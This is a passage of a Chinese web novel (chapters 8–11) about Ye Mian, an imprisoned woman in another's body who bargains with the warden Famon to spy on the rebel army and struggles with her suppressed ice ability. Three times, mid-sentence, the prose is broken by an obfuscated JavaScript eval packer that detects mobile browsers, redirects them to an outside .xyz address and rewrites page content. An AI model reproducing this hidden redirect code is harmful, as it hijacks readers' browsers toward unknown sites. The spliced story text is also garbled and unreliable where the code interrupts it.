“不瞒你说,自从我的脑袋插了钢筋,有些事情就记不太清了,”叶眠试图让自己显得更诚实无害一点,甚至扯起身份认知的问题,“我甚至混淆过,说我是叶眠,你记得吗?” “记不清了?”法蒙一字一顿地重复。 “是的。比如……陆风是谁?” 在他迫人的目光中,叶眠无辜眨眼。 8. 第 8 章 “你连陆风都不记得了?”法蒙怀疑地说。 叶眠很诚恳:“完全不记得了。” “……陆风,反抗军指挥使,据我所知,他应该是你的爱人……或者说,情人。” 法蒙向后靠坐了一些,手臂搭在扶手上,观察着叶眠的反应。 ? ??? 叶眠心中一万把开水壶齐声尖叫。 她被震撼到凝固,表情放空,过了好几秒,才艰难地启用声带:“情……人……?” 叶眠对自己的定位很明确:反抗军马仔。 既然能得到法蒙青眼,在预期中,她原本的身份或许能算得上个小管理,但是…… 为什么会是指挥使的枕边人啊?! 这让她回去卧底,卧到床上吗?! 她终于想起那张被顺马桶冲走的纸片——就你小子叫陆风是吧? 纸条写得诚意满满,实事是一点不干。 “你是真不记得了。”法蒙观察完毕,得出结论。 虽然也没指望她一个女死囚能做到多少,但他还是有些失望。 法蒙耐心有限,来见叶眠就是想确认一下他们的交易。只要她同意,剩下的交给黑兔子做就行,不需要他本人再出马。 “我会把那个法格里布跟你一起送出去,没别的事情,我先走了。”法蒙说。 “等一下!” 法蒙起身的瞬间,叶眠也霍然站起。 她一把拉住他的小臂,连珠炮一般说:“既然知道我失忆,还让我毫无准备地回反抗军,做不了什么事不说,被认作冒名顶替又是麻烦一堆,你不怕我鱼死网破吗?” 两人僵持,隔着衬衣,叶眠手心能感受到那条坚实小臂的手感与温度。她没忍住,手指微微一动。 法蒙思路被打断。 “……松手!”他忍无可忍,语气里还带着点不可思议。 她在摸什么?! 叶眠撤回右臂,双手半举,一副投降的姿势:“只是提醒你一下,如果我们好好合作,或许我能发挥出更大的作用。” “除非你并没有多需要反抗军的消息,那就继续这样无可无不可下去好了。指挥使的情人只有我一个,这是机会,”叶眠停了停,敷衍似地补充,“法蒙先生。” 她说完,突然想到:陆风不会玩多人关系吧?那有点要命了。 好在法蒙没有反驳,他冷笑一声,抚掉袖子上被叶眠握出的褶皱。 他的表情比几分钟前更冷肃,但动作却是配合地往椅子里一坐。 “现在不是一口一个您的时候了?你的礼貌呢,叶小姐。”他说。 “毕竟也没见你向我展示出你的礼貌,法蒙先生。”叶眠不轻不重地顶了一句。 她不动声色地想,自己对法蒙的了解似乎又加深了一点。 或许她应该……更放肆一点? “你需要什么?”他尽量心平气和地说。 “武器,”叶眠不客气地说,“以及信息,跟叶绵绵有关的,还有关于反抗军的,越多越好。” “你真当自己不是叶绵绵?”法蒙冷冷地说,“没人能逃离自己的过去,就算你抗拒也没用。” 叶眠竖起手指:“不管前面我怎么诈骗的,更正一下,请叫我叶眠。叶绵绵是另一个人,她死了,我们是完全不同的两个人,明白吗?不是‘人无法跟过去的自己共情’这种戏码。” 法蒙再次无视了她的正式声明。 “关于你跟陆风,其实我了解得也不多,机缘巧合才知道你跟他的关系。”他嘴角一提,眼里毫无笑意,“事先说明,我对你没有偏见,所有的消息都是线人传来。” 叶眠点头:“叶绵绵的事,我不做评判。” 法蒙点开手腕上的终端,扭转方向对着叶眠:“自己看。” “作为秘书,苦恋指挥使的恋爱脑……倒贴……忠心耿耿……吃住不在一起只偶尔见面,陆风对她态度微妙?” 叶眠想把死去的叶绵绵拽出来,给她两巴掌让她清醒一点。 人人都不看好你,偏偏你最不争气! 入狱后陆风管过什么事?还不是放她坐天等死! “看明白了?”法蒙轻哼一声。 他本来心情很差,看到叶眠吃了苍蝇一样的表情,竟然感觉好了一些。 “看明白了,我是陆风的温柔小蜜。”叶眠中肯总结。 她见不得法蒙舒服,于是又阴阳怪气:“这个身份,这么近的距离,这么好的机会,你竟然想放养我,暴殄天物。” “只是近而已,你太小看陆风了,”没想到法蒙不为所动,“一个失忆小蜜的能力,食之无味弃之可惜,如果你的理由是‘英雄难过美人关’,那我无话可说。” 叶眠眼神加深:“你不会认为我的作用只有美色吧?想让我自证价值?想听我表忠心?” 好古板的思想。 好欠揍的人。 法蒙的观点被戳破,他面上不置可否:“我并不介意。” “做梦去吧,”叶眠微笑,迅速转换话题,“反抗军的信息呢?” “在你离开的时候,我会让人给你送来特制的终端。里面会有我的联系方式,信息传输加密。” “武器?” “可以给你配枪,但你会用吗?” “尊敬的法蒙先生,”叶眠有些无奈了,“如果您愿意大发慈悲解开我的项圈,或许就可以不用担心这个问题了。” 项圈……啧。 法蒙的目光在她苍白的脖颈上一触即离:“不可能。” 叶眠耸肩:“会用,我要配枪,弹药管够吗?” 法蒙:“如果你能每个月离开反抗军,我可以派人线下跟你接触。” “行。”叶眠还算满意。 “还有别的要求吗,叶小姐?”法蒙说出这个称呼的语气略带嘲讽。 “测我的异能活跃等级,”叶眠说,“101没有钥匙,你给我测?” 法蒙皱眉——他没干过这种活。 但是四代环的事情又最好不要透露,他只能说:“我来。” 两人大眼瞪小眼。 叶眠眼神催促:我干什么? 法蒙心想,只要确认她异能正常释放就行。 他拿出钥匙插件,叶眠配合地前倾身体。 与上次完全针锋相对的气氛不同,随着距离拉近,叶眠眼都不眨,法蒙避免不了地和她视线接触。 ……她眼下有一颗小痣。 他的手掌碰到她的颈侧,甚至能觉出她的脉搏,平稳地跳动着。 叶眠声音放轻,她稍微侧头,语速很慢:“……插个插件,需要这么慢吗?” 旖旎气氛一触即碎,法蒙眼里划过一丝晦暗。 收回手,他调出控制板:“叶小姐,请。” 叶眠完全没有被影响:“我失忆了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813660|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你忘了?” “……连怎么发动异能都忘了?”法蒙眉头一动。 他不得不怀疑,叶眠是在降低他的警惕性。同为A级异能,法蒙不认为叶眠比他更强,但是对他造成伤害的可能性依然存在。 “如果你质疑我的身份,那可以尽管去查,”叶眠无所谓地说,“目前来看,我就是完全失忆了。” 法蒙忍耐地闭了闭眼,重新做好心理建设,这才开口教她:“对于初学者,需要沉心静气,摈除干扰,调动异能与使用你的四肢没有区别,不要把它想得太麻烦。” 叶眠不敢说她觉得有点抽象,遂照做。 沉心静气……调动异能…… 她睁开眼,手心微湿。 法蒙皱眉:“你在干什么?” 手汗吗? 叶眠没好气地说:“我就是按你说的做的。” 法蒙看着她空无一物的手心,迷惑道:“再试一次。” …… 半分钟后,叶眠再次睁眼。 她手心出现了一点水珠,但是所谓的冰棱、冰锥连影子都没见着。 叶眠看向法蒙,后者表情微变。 她聪明到通透:“所以是我异能变弱了?” 不知道法蒙想了什么,他放下一句“等着”就去敲了隔壁101的门。 不一会儿他就回来了,揉了揉眉心说:“检查员说得等这一批轮完。” 叶眠点点头:“所以我是被禁制环损伤异能的倒霉蛋,而你让我出狱给你当卧底,还不肯给我解环。” 法蒙没说话。 “这跟虐待下属有什么区别?” 臭当官的。 叶眠为他送上一顶高帽,半点没犹豫。 - 【隔壁101】 检查员送走了这批最后一个犯人,把该登记的数据都登记完,疲惫地揉了揉眉心。 她没有第一时间叫隔壁的典狱长和278号过来,而是打开终端,给自己那个还在念书的弟弟发消息。 “你把手里那条四代环送出去了?” 手指敲击桌面,沈舒云心想,我就等两分钟。 一分半过去了,沈舒白的通讯跳出:“怎么了姐?” 通讯里有些嘈杂,他周围有人。 “沈舒白,你知不知道四代环还在测试,特殊个体的异能抵抗说明都没出,你就把它送给法蒙投入使用,什么意思?” “诶?你怎么知道?噢,C监检查日,把你拉过去了?” “你别管我怎么知道的,现在的情况是,那个犯人异能好像真受损了,我需要解决方案。” 那头闹出了点声音,似乎是沈舒白在跟人道歉,然后背景安静下来,他的声线变清晰了不少,语气也没了一开始的欢脱:“这么低概率的事情,怎么这么巧?就一条环,直接命中了?” “你跟革命党和反抗军怎么混的我都没管,但你连学医的初衷都忘了?”沈舒云摘下眼镜,“你就这么看着他把那个人异能荼毒干净吧。” “……是我考虑不周,”沈舒白短暂失声,然后干脆认错,“我会跟法蒙联系,争取让他把环摘了,但,唉,概率不高。” “那你就想想怎么给她治好,负起你的责任来,”沈舒云叹气,“如果要异能剥离的是你,你会好受吗?” 她挂断通讯。 门口叶眠探头探脑:“请问……我可以进来了吗?” 9. 第 9 章 “来坐,”沈舒云一改之前的冷淡态度,“我是沈舒云。” 叶眠莫名有种成为小白鼠的感觉,她警惕地坐下。 “入狱犯的什么罪?” 沈舒云决定先查一下成分。 “……杀人,”叶眠诚实地说,“但我有苦衷但。” 沈舒云看她一眼,倒确实觉得她面善,不像穷凶极恶之徒。 “抽你三管血,分析结果大概两天后发给你,”沈舒云说,“我知道你在监狱里没有通讯方式,总之,报告会在两天后送到你手上。” “那我的异能……” “不介意的话,可以现在展示给我看看,”沈舒云又看了一边信息表,“凝冰,很不错的A级攻击异能。” 叶眠深呼吸,闭眼,双手合十,指尖触及鼻尖,一副十分虔诚的模样。 几秒后她睁眼,摊开手。 手心中,牙签粗细的透明冰棱,大概只有两厘米长,在两个人的眼皮子底下,逃命一样融化了。 叶眠讪讪一笑。 沈舒云欲言又止。 这A级实在是…… “检查员,不瞒你说,我是四代环,典狱长走之前给我开了半个小时的权限。”她异能都要没了,四代的事情瞒不住。 “解禁一开始,大概只能凝出一点水,然后慢慢地可以造出一点固体,但你也看到了,很快就融化了。” “随着解开禁制的时间延长,异能会逐渐恢复吗?”沈舒云若有所思。 “我也不知道,”叶眠叹气,颇为感慨,“监狱长死活不同意给我解开,可能是某种艾斯爱慕的岔劈吧,唉,我都这样了。” 她指了指自己的脑壳,沈舒云大为震撼。 竟……竟然是这样吗? 还是得让沈舒白尽快说服法蒙给人把环摘了啊! 被背后蛐蛐的法蒙此时已经离开C监。 回市区的悬浮车上,他闭目养神,脑子里不期然划过叶眠缠着绷带的圆润脑瓜,他有点想笑。 都伤成这样了,嘴还那么硬,真有活力。 终端的消息打破了车内的宁静气氛,他意识到自己在想什么,眉头一跳。 沈的消息。 “法蒙,还记得我上次送你的四代环不?”对面少见的有点吞吞吐吐。 “怎么了?” 说到四代环就要扯上叶绵绵,法蒙不动声色地拉了拉领带。 “四代环的异能抵抗报告快出来了,实验版要回收。”沈舒白想了个借口,自己都觉得有点牵强。 “你就说这条损毁了,实验室不会怪罪的。”法蒙现在觉得,把它用在叶眠身上真是个完美的决定,他没意识到,自己的心态已经悄然变化。 “不好吧,”沈舒白犹豫着说,“主要是第四代环的副作用不清晰,万一真给人把异能抵抗掉了,叶绵绵那种性格……会崩溃吧?” 他这还带着点不确定呢,没想到对面的法蒙一声嗤笑:“你的情报出了点差错。” “嗯?不可能啊?”沈舒白反驳,“她跟陆风相处我是亲眼看到的。” 像情侣,但也不像,陆风一看就是个心比天高的事业批,叶绵绵只能跟在后面当个小尾巴。 “我跟叶绵绵见了两面,”法蒙彻底扯松了领带,“挺有意思一人,有点小聪明,还有点野。” ……? 沈舒白一瞬间以为自己听错了。 “你没事吧?”他真诚发问。 “没事。等她回反抗军,你可以关注一下。” “嗯哼,行。”沈舒白应下,一边苦逼地想:就算你不让我关注我也得关注啊,我姐都下死命令了,万一你给人异能折腾没了,我还得想办法挽救一下。 法蒙:“我准备让她每月给刘仁交汇报,如果刘仁有事就让她直接交给我。” 刘仁是法蒙的直属心腹,跟他一起回首都星,到现在,没休过一天。 “刘仁已经忙死了,天啊。”沈舒白感慨。 “拿钱办事,”法蒙冷酷无情地说,“还有,关于德里克跟反抗军指挥使的事情,有查到什么眉目吗?” “我说尊敬的法蒙先生,你刚委托我一天,我只是个医生,又不是你手底下那种特工!”沈舒白大声抗议,一边收拾东西,准备趁假期搬去反抗军基地常驻。 “你跟特工也没差了,挂了。” 沈舒白叹气。 这位年轻的中将做事实在雷厉风行,连带着革命党的作风都肃然可畏。 “过刚易折啊,过刚易折。”他念叨着,想起来叶绵绵的血样,顺手给沈舒云发了个新地址。 他对叶绵绵的研究会在反抗军基地展开。 “如果研究出来针对异能抵抗的特效药,能不能再发个silence或者nonsense呢?”沈舒白苦中作乐地想。 ——他的第一篇NS发的是生长因子。可惜,那玩意需要用到他自己的异能,没法量产。 - “怎么耽误这么久?”胖子很讲义气,撑着把遮阳伞在门口等她。 “异能出了点问题。”叶眠也没藏着掖着,挤到了他的伞下。 虽然从她醒来到现在,从来不知道正常使用异能是什么效果,但被束缚局限的感觉还是很不美妙,更别提可能还面临着永久丢失异能的风险——法蒙,哼。 “什么?!”胖子惊讶,“那你现在……” 他有点不敢说,怕伤了叶眠的心。 “没事儿,”叶眠反倒看得开一些,“只要不是永久性的就行。” 等她出去,杀了法蒙,什么都好说。 叶眠表面笑意盈盈,一点不像在拉表暗杀名单的模样。 “那就好……也不太好啊。”胖子忧心忡忡,后天就是二次审判了,叶眠死得比他这个出不了狱的更惨一点。 “我有办法的,别担心。”叶眠猜到他在担心什么,宽慰说。 王五招呼他们回医院。 “保卫先生,我能问个问题吗?”叶眠跟在他身后,很是乖巧可人。 王五因为那晚上的暴动,对她观感还不错:“怎么了?” “监狱里有什么办法能查卷宗吗?” “想查别人的肯定不行,如果你想看自己的卷宗,我之后给你带去。”王五说。 叶眠大喜:“多谢!多谢!” “怎么了?又在想自己杀人入狱的事情了?”胖子凑过来跟她说悄悄话。 “怎么叫又?”叶眠不解。 胖子:“你在钢筋入脑之前,天天说你杀人有隐情、会有人救你的,像在念经,很瘆人。” 叶眠沉思。 有人救“我”?感觉代入一下叶绵绵的人设,似乎能期待的只有陆风了。 “还有你当时的性格,和你杀256号爆发的武力值,感觉不太匹配,”胖子一口气说摸了摸胳膊上的鸡皮疙瘩,“现在性格倒是更好一点。” 叶眠婉拒:“不必迷恋姐,姐只是个传说。” “不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813661|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐们儿……”胖子无语。 叶绵绵的武力值很高,我的武力值也很高,所以我跟叶绵绵的关系是什么? 256号,一个赏金猎人,入狱跟我起了冲突被我反杀,他背后又是谁? 陆风、法蒙……一想到这些人,叶眠就觉得好不自由。 “唉,”叶眠叹气,“烦。” “心烦长结节,”胖子想起什么,在口袋里掏了半天,献宝一样拿出来一个纸袋,“看!” “什么好东西?”叶眠配合地说。 “肉松馅的面包!”不过稍微有点挤了。 “哇!”叶眠惊叹,“你生的?给我的?” “什么叫生的!通用语文盲!”胖子不满,“测异能的时候,做了三个,给了检查员一个,我们一人一个。” “好兄弟!”叶眠眼泪汪汪,接过来一口咬掉半个。 “怎么样!好吃吗!”胖子一脸期待。 ……好像盐放少了? 放盐了吗? 叶眠闭上眼慢慢咀嚼:“嗯……嗯……不错!好吃!” 不管怎样,比起C监医院的饭,胖子手作面包嚼劲十足,面香充斥口鼻,肉松细腻,口感层次丰富。 胖子自豪地一竖大拇指:“不愧是我!” 叶眠一口吃掉剩下半个,眼珠一转:“胖子,考不考虑多做点。” 胖子脸一垮,拉了拉自己脖子上的禁制环:“有这个呢。” “我既然能打开我的二级禁制环,肯定也能打开你的,”叶眠脑子转得飞快,“反正我们也不干别的,只是做两个面包改善伙食……” “咳咳。”王五清了清嗓子。 “保卫先生也想吃!”叶眠给出一个肯定的眼神。 胖子犹犹豫豫:“真的吗?” “我说你们两个,”王五无奈,“尊重一下监狱规则吧,我怎么说也算得上在编狱卒啊!” 叶眠作势给嘴巴拉上拉链。 - 护士晚上来给叶眠换药的时候,正好看到她一手把东西往枕头下面藏。 “什么东西?”她说。 “没什么啦。”叶眠眼神飘忽。 护士抢出来一看,原来是一根不知道哪里找到的铁丝。 她不解:“你现在的禁制环不是这种东西能戳开的,怎么还不放弃?” 叶眠小声说:“监狱犯太难吃了,我朋友异能可以手搓面包。” “你省省吧,”护士拍了她一下,“禁制环解开会触发报警的。” 那只能算了,叶眠有点失望。 “王五说你要看你的卷宗,让我给你捎过来,”护士放下一本电子书,“没有联网功能。” 叶眠被看穿,有些讪讪:“好吧,谢谢你。” 换完药,护士又放下四瓶止痛,被叶眠放了三瓶回车子里。 她挑眉:“不怕疼了?” 叶眠摇头:“抗药性越来越强了,吃这个东西跟糖豆一样,已经几乎没用了。” “可怜的叶眠,”护士按照惯例摸摸她头顶,“铁丝我带走了。” 送别护士,叶眠打开了电子书。 里面唯一一个文本文件,封面带着水印和红章,标题是《C监278号犯人入狱卷宗》。 她抱着看好戏的心情点开第一页。 犯人姓名:叶绵绵 罪名:谋杀 受害人:蒋仕临(前审判长) 谁? 叶眠瞳孔地震! 10. 第 10 章 经过前几天的学习,叶眠已经充分理解了联盟的权力分配。 联盟的直接下属有几大板块,除了议会和军部,最重要的一部分就是审判庭。 审判长是什么人?审判庭的头头儿。 联盟的一把手是主席。四舍五入,审判长是全联盟二把手之一。 叶绵绵,杀了前审判长? 叶眠的第一反应是,杀了审判长,竟然只判八十年? 随后她意识到,叶绵绵的身份似乎比她想得更复杂。 什么人才能接触到审判长? 叶绵绵能突破蒋仕临的安保把他宰掉,卷宗里明晃晃的“谋杀”二字彰示着她的成功。 有点东西啊,绵绵。 她按下心潮澎湃,翻到第二页。 “加密档案,具体细节不予公开。” 叶眠瞪眼。 她一口气往后翻了十几页,每页都是这几个字。 布什格们? 假饵钓鱼?! 使尽浑身手段,加密卷宗也看不出什么东西,叶眠暂时没辙了,她收起阅读器,觉得自己今晚一定睡不好了。 事实上,她也确实没睡好。 梦里,叶眠睁眼,先呆了一下。 又是大火。热浪逼人,像是要把她做成烤肉干。 这次梦的实感更重,她竟然连身体都有了,痛觉什么的更是一应俱全。火烧火燎的感觉无处不在,热气蒸得她双眼刺痛、脸颊发红。 叶眠在心里骂爹,这梦做得这么逼真,又不真烧死她,除了折磨没有任何作用。 等等,逼真? 她灵机一动,一摸脖子,果然没有禁制环! 那……试试? 叶眠虔诚地想: 冰系异能,你崛起吧! 火舌攀附到衣摆,叶眠单手在胸口虚握。 三秒后,手心一抹凉意,湿滑寒冷的手感回传到大脑,叶眠惊奇地低头:一把半米长的透明短冰锥,赫然出现在她手心。 锥柄握在手中,护手之后的锥身利落收束,流畅的外形彰显着它作为武器的优越资质。锥尖滑出一滴水,将落不落地挂着,很快就消失在高温里。 五指合拢,叶眠甚至能感受到,锥柄在体温和环境高温中融化变细的过程。水汽蒸腾,虽然暂时对这场无边大火没什么作用,但这是叶眠第一次成功使用异能。 丝滑,顺畅,得心应手。 真就像法蒙所说,如同动用自己的四肢。 冰锥很快被高温融化到不留痕迹,如果不是这场火烧了这么久还没把她烧死,叶眠简直要怀疑这到底是梦还是现实。 太诡异了。 她一边想,一边再次调动异能。 五指一搓,三把冰锥出现在指缝,叶眠明显地感受到一点滞涩和疲惫——四把冰锥,就是她现在的极限了。 一模一样的锥体,中芯带着点深蓝色。像第一把冰锥一样,它们在叶眠的注视下变成水汽,消失得无影无踪。 叶眠若有所思。 她拍了拍身上沾上的火,意外发现身上的衣服有些像她见到的C监囚服。同样脏兮兮,破破烂烂,但版型上不太一样。 难道跟这个梦的背景和内容有关吗? 她试探性地踏出一步。 烫! 紧急避险,叶眠瞬间把脚缩回,痛苦面具一带,半天才缓过来。 她没有鞋,赤脚踩到地板,没想到比刚刚站的位置要热上不少。脚底通红,但没什么实质性的伤痕。 古怪。 叶眠左右尝试了一下,直径三十厘米内,地板温度属于烫脚、但能忍受,而这之外,就不是她现在能轻易触碰的了。 作为一个天生疼痛感知超敏的人,叶眠不允许自己没苦硬吃,想来想去,决定还是先呆在原地。 她把这个地方起名为出生点一号,原地一坐。 热,但还好。 就当给屁股做热疗了。 休息了一会儿,叶眠感觉自己又行了,于是她再次调出异能,凝出掌心大小的冰块,双手合握。 爽,可惜她们没法地久天长。 叶眠卡着三十厘米的边缘,恋恋不舍地把冰块往地上一放。冰块“滋滋”地消失了,留下浅到几乎看不清的水痕,很快就彻底消失,仿佛那块冰从没存在过一样。 她心里冒出一个想法:如果冰足够多……是否可以扑灭这场火? 古怪古怪。 这个梦似乎没有危险性,除了灼伤的疼痛外,她能做的似乎只有发呆和玩她的异能。 叶眠睡也睡不着,走也走不掉,干脆卡着自己的异能缓冲时间,休息一会儿就捏一块冰出来,拿在手里爽一下,然后丢出去。 最后得出结论:细水长流的冰块,对抗不了熊熊燃烧的大火。 那如果,异能水平可以提升呢? 她现在只能一口气凝出小半立方米的冰,然后就会陷入疲乏状态。如果她可以一口气凝出五方、十方、一百方的冰呢? 她想:等这个梦结束出去问问吧。 大火中的时间流速变得很奇怪,叶眠不知道重复了这个丢冰块的动作多少次,终于…… 天亮了。 叶眠眼下挂着黑眼圈,感觉自己这一觉,睡了跟没睡一样。 依然是固定的流程。换药,扎针,吃饭,看电视。 胖子奇怪地说:“你怎么不吃止疼片了?” 叶眠吃止痛跟吃糖一样,但从昨天开始就一片不吃了。 叶眠轻轻地摸了摸自己的脑壳,还是不敢用力:“护士姐姐说我身体愈合速度挺快,可能是生长因子的作用,已经没怎么疼了。” 何况她担心自己建立永久抗药性,以后再受重伤咋办? 胖子羡慕:“生长因子能治先天白化吗?我这样,还是挺不方便的。” “但很帅啊,别人要金毛还得特意染,你少走五百块弯路。”叶眠鼓励道。 胖子的瞳孔是浅蓝色的,必须带隐形眼镜才有正常视力,出门要打伞防晒,体质也比常人更弱。他哼唧两声:“我爸说我这个样子当不了继承人。” “以貌取人,这是要走打脸剧情啊。”叶眠拍了拍他的手臂。 “别说我了,你这又是怎么回事,昨天晚上熬夜了?” 叶眠想起正经事,她狗狗祟祟地说:“你知道蒋仕临吗?” “知道啊,前审判长,”胖子说,“刚死没多久,说是被心腹暗杀了。” 心腹?? 叶眠心中一紧。 她不会在蒋仕临手下还有点什么身份吧? “但其实,我还听到了一个说法,”说到八卦,胖子也来劲了,“他是被他儿媳毒死的。” 儿媳?? 叶眠身上炸起一层鸡皮疙瘩。 更可怕了好吗! 胖子煞有介事:“据说,他这个儿媳妇是别人强塞来的,为了换个议会席位。她嫁过去两年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813662|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,啥事也没干,就给那老头子下毒了,最后,呐呐呐,一波毒发,一击致命,蒋仕临直接死家里了,救都没得救。” 两年的话,那应该不至于了。好歹跟陆风还有段关系摆在那呢,叶绵绵总不至于婚内出轨、或者背着陆风嫁人吧? “她还挺能忍的。”事不关己,叶眠客观评价了一句。 “可不是!”胖子拍案,“听说蒋家父子性格古怪,那姑娘定是遭了什么折辱,忍气吞声,终于奋起反抗。唉,不知道她现在怎么样了。” 越来越离谱了。 “恶有恶报,”叶眠敷衍一句,提到她更关心的,“那蒋家的儿子呢?” 如果没有错判,那可是对她有杀父之仇的余孽,叶眠担心他一头热血要替父报仇。 “蒋钰?纨绔子弟,不值一提,”胖子不以为意地说,“没了他爹,我看他也成不了什么气候。” 叶眠这下放心了:“行。” “欸,对,他的异能用药堆上了B+,也不能说完全不中用吧,”胖子突然想起来,“但蒋仕临死得突然,根本没做交接,蒋钰又不参军,拿不到军功,我看他晋升是难了。” 叶眠关注到第一句:“异能等级能提升?” “很玄乎。联盟有专门的异能研究室,每年都会发出来点东西,比如提升异能等级的药啊,比如禁制环啊,这都是他们研究的。” “就没什么正常的提升手段吗?” 胖子疑惑:“咋了,你要练异能?带着环还想练异能?” 叶眠拍他一下:“学习一下不行吗?怎么说话的你。” 胖子捂头“哎呦”一声:“主要你最近很多常识都不知道了,很诡异,懂吗?” “那没办法,我伤着脑袋了,是人是鬼、有病没病,我就这样了,你跑不掉了桀桀桀。”叶眠邪魅一笑。 胖子欲言又止,止言又欲。 “唉,按理说我该高兴的,但你,唉,我报说。” “谢主隆恩就行,”叶眠一笑揭过,“快说,异能提升的常规办法。” “怎么练肌肉就怎么练异能呗,抗阻训练和耐力训练,”胖子说,“人人异能的年代,异能就像人的第三只手,练异能的不少见,但等级突破就比较看运气了。” “A级以上……” “S级,”胖子两眼放光地打断,“目前公开身份的,全星系只有一个人!” “谁啊?”叶眠生出点好奇。 或许这份好奇里还掺着点好胜,叶眠感受到自己加快的心跳在叫嚣着野心。 胖子眉飞色舞:“传说中的那一位,帝国皇帝。” 皇帝啊…… 叶眠摸了摸下巴,结果碰到刀伤,忍不住“嘶”了一声。 “帝国跟联盟不是敌对关系吗?” “无关立场,单纯个人崇拜。”胖子很坚定。 叶眠脑筋一转,说:“你不会是想效仿他这个‘流落荒星十几年,回宫即位后,杀穿半个星系’的经历吧?” 皇帝的故事胖子给她讲过了。 没想到,胖子双眼一瞪,在叶眠眼皮子底下——红温了。 得,猜中了。 “这一次,你要把属于你的全部夺回来?”叶眠试探说。 胖子小声接:“让所有看不起我的人都付出代价,把被夺走的荣耀与尊严,一并拿回来!” 叶眠肃然起敬,比了个大拇指。 理想远大!不愧是她的勇者朋友! 11. 第 11 章 胖子本人的异能没有战斗效果,但理论知识一点都没少学。跟胖子在输液室待到中午,叶眠感觉自己对异能的理解更深了。 下午,叶眠决定补觉。 晚上,叶眠继续补觉。 她以为自己会再次梦到火灾,结果一觉睡到天明。 【叶眠术后第七天】 护士拿来一个文件袋。 “我的?” “你的,署名是异能研究院。现在纸质材料很少见了,研究院真是财大气粗。”护士说。 叶眠拆开封条,里面是她的异能检测报告。 掠过密密麻麻的指标,叶眠的目光落在最后。 “样本异能抵抗反应评级为最高级,60%概率可致永久性丧失,应尽快摘除禁制环。样本体内的封锁抗体含量高于人类平均水平7000倍,当前的剧烈抵抗状态,可能源于过长时间佩戴旧版本禁制环。” 封锁抗体? 叶眠往前翻,在某一页看到了这一项指标及注解。 ——封锁抗体是前两代禁制环特有的化学成分,通过微注射达到压制异能水平的效果,具有时效性。失效后不会随代谢离开人体,但对人体无害。 叶绵绵的身体里,为什么会有这么高水平的封锁抗体? 翻回最后,还有一行手写的批注。 “叶小姐,我是沈舒云,这是我的星网id,有任何需要可以随时联系我。如果您方便的话,可以固定频率邮寄血样至地址:……,您的血样对目前关于禁制环的研究有重要意义。” 叶眠也没想到,偶遇的检查员竟然是异能研究院的研究员。 她摸了摸下巴。 关于禁制环,报告里话没说死,但永久丧失异能威胁当头,法蒙的态度又不会动摇。等出狱之后,最好尽快行动。 叶眠心中杀机涌动,但她先把这件事放到一边。 目前最重要的还是离开监狱后,怎么在陆风眼皮子底下保全自己。直接说,老大,你枕边人换了个芯子? 那可是臭名昭著的反抗军。 “姐,有办法联系到典狱长吗?”叶眠问道。 她并不觉得自己擅长温柔小意,但形势所迫,不得不考虑提前了解情况,做好应急规划。 “这你得找王五,”她说,“他今天下午值班。” 胖子今天没来,叶眠有种不好的预感,一过中午就去找了王五,但他也表示无能为力。 “只有典狱长找我,没有我找他的情况。而且,他也基本不在办公室,偶尔来一次,神出鬼没的。不过监狱那边,应该是黑兔子跟他接触的多一点。黑兔子本来就是个小管理,新狱长似乎无意改变C监秩序,最近他可谓是春风得意。” “黑兔子?”有点耳熟的名字。 “他负责后勤资源分配,如果你换过牢房,那可能都是他的手笔。”王五说,“他本来是老狱长的狗腿子,见风使舵,倒了法蒙。” 叶眠眯眼。 “那能联系到他吗?” “如果你要回监狱区的话,可能会在安检处见到他,晚上他概率在那边打牌。” 今天没有胖子的消息,又听说黑兔子这个人,叶眠决定回去一趟。 她说自己要回牢里拿东西,护士给她开了通行条,嘱咐她要按照上面的时间准时回来。 叶眠给轮椅充满电,怀着点忐忑的期待,顺畅地走出了医院大门。 迎面是铁丝网与高墙,向后包裹住整个医院区,连阳光都落不到地上。摄像头的红光实时锁定附近的所有移动对象,自动枪械的枪口无死角普照。 叶眠彻底明白,为什么自由帮没试图从医院越狱了。 水泥路的尽头,是重装把守的检查站。 一支枪口顶在头上,扫脸,身份识别通过。 禁制环检查通过,批完通行条,其中一位带叶眠走到隔间,反手带上门。 “脱衣服。”是个女声。 叶眠很有囚犯的自知之明,干脆照做。 女狱警熟练地捏过她的四肢,又检查了舌下、牙后等地方。确认叶眠没有携带医院的东西出来,她点头:“谢谢配合。” 穿戴整齐后,两人出了隔间。叶眠站到关卡前,说:“我想找黑兔子。” “找头儿?”旁边的男狱警表情微妙。 叶眠眉毛一动。 女狱警:“他现在不在。6区是吧,我带你回房间。” 叶眠只能跟上。 * 